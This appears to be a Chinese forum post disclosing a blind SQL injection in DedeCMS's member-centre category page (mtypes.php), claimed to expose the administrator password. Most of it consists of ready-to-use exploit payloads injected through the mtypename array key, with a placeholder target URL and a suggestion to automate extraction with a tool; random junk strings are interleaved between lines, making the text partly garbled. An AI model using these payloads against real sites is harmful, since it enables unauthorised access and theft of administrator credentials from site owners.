DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理员密码

admin

需要magic_quotes_gpc = Off,所以说是鸡肋啊.
2 P, b! N6 H" \. s
' H1 U& M9 g' n; p1 i
发生在数组key里的注射漏洞,有点意思.

这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
/ b! w+ K. n$ j- d) t$ M2 m: Z+ p! n
& C" o9 x$ G0 ?$ [# y# khttp://www.xxx.com /dede/member/mtypes.php?dopost=save
% H3 ]5 b% w, K' ?, h
exploit:
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
* R. N. o* G+ G* _# V; rmtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
7 J5 p2 `+ P. B  O5 a( ~3 }